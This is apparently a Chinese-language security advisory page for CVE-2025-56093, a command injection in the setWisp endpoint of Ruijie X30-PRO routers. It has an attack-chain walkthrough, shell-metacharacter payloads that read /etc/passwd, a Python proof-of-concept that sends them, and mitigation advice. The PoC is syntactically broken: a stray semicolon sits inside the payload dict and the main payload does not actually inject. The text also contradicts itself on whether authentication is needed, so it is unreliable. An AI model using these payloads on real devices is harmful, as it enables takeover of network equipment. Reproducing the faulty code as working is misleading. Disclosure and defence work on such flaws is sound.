IPBUF安全漏洞报告
English
CVE-2025-56093 CVSS 8.8 高危

CVE-2025-56093: 锐捷X30-PRO路由器setWisp端点OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56093
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie X30-PRO (固件版本 X30-PRO-V1_09241521)

相关标签

CVE-2025-56093OS命令注入远程代码执行RuijieX30-PRO路由器漏洞LUCI Web框架网络设备安全高危漏洞命令注入

漏洞概述

CVE-2025-56093是影响锐捷网络(Ruijie)X30-PRO路由器的高危安全漏洞,CVSS评分8.8。该漏洞存在于路由器的Web管理界面中,位于/usr/lib/lua/luci/modules/wireless.lua文件的setWisp端点。由于该端点对用户输入缺乏有效的安全过滤和参数校验,攻击者可以通过构造恶意POST请求,在服务器端注入并执行任意操作系统命令。漏洞允许未经授权的远程攻击者在低权限条件下(PR:L)通过网络(AV:N)发起攻击,无需任何用户交互(UI:N)。成功利用此漏洞可导致攻击者完全控制受影响设备,执行任意代码、窃取敏感信息、植入后门或将其纳入僵尸网络。由于该漏洞影响网络边界设备,危害性极高,建议立即采取修复措施。

技术细节

该漏洞为典型的操作系统命令注入(OS Command Injection)漏洞,存在于Ruijie X30-PRO路由器的LUCI Web管理框架中。具体位于wireless.lua模块的setWisp函数,该函数负责处理WISP(Wireless Internet Service Provider)无线桥接配置。漏洞根源在于该函数直接将用户提交的参数传递给底层系统命令执行函数,未对特殊字符进行过滤或转义。攻击者可在POST请求的参数中插入分号、管道符、反引号等Shell元字符,实现命令拼接。例如,通过在参数中注入分号后跟恶意命令,攻击者可绕过原有命令逻辑执行任意系统指令。由于漏洞端点位于Web管理接口,攻击者只需发送精心构造的HTTP POST请求即可触发漏洞,无需认证或仅需低权限账户即可利用。攻击成功后,攻击者可在路由器上以root权限执行任意命令,实现对设备的完全控制。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Ruijie X30-PRO路由器,获取其IP地址和管理界面访问地址,通常为192.168.1.1
STEP 2
步骤2: 构造恶意请求
攻击者构造包含命令注入payload的HTTP POST请求,针对setWisp端点(/cgi-bin/luci/;stok=/admin/wireless/setWisp)
STEP 3
步骤3: 命令注入
在POST参数中注入Shell命令分隔符(如分号、管道符、反引号)和恶意命令,如'; cat /etc/passwd #'
STEP 4
步骤4: 发送请求
攻击者向路由器发送构造的POST请求,由于setWisp函数缺乏输入过滤,恶意命令被拼接到系统命令中执行
STEP 5
步骤5: 命令执行
服务器以root权限执行注入的命令,攻击者获得命令执行结果,可实现远程代码执行
STEP 6
步骤6: 持久化控制
攻击者可植入后门、创建高权限账户或下载恶意软件,建立持久化访问通道

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-56093 PoC - Ruijie X30-PRO OS Command Injection # Target: Ruijie X30-PRO Router setWisp endpoint # Vulnerability: OS Command Injection in /usr/lib/lua/luci/modules/wireless.lua target_ip = "192.168.1.1" # Router IP address target_port = 80 target_url = f"http://{target_ip}:{target_port}/cgi-bin/luci/;stok=/admin/wireless/setWisp" # Payload to inject command: cat /etc/passwd # Using semicolon to chain commands payload = { "device": "eth0", "wisp_name": "test"; "command": "cat /etc/passwd", # Alternative payloads: # "wisp_name": "test`cat /etc/passwd`", # "wisp_name": "test$(cat /etc/passwd)" } try: print(f"[*] Sending exploit payload to {target_url}") print(f"[*] Payload: {payload}") response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

影响范围

Ruijie X30-PRO 固件版本 X30-PRO-V1_09241521 及之前版本

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)禁用路由器的远程Web管理功能,仅允许通过本地局域网访问管理界面;2)在防火墙规则中限制对路由器80/443端口的访问,仅允许受信任的IP地址;3)如果可能,启用路由器的安全模式或ACL访问控制列表;4)监控设备日志,关注异常的POST请求和命令执行行为;5)考虑使用VPN连接访问路由器管理界面,避免直接暴露在公网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表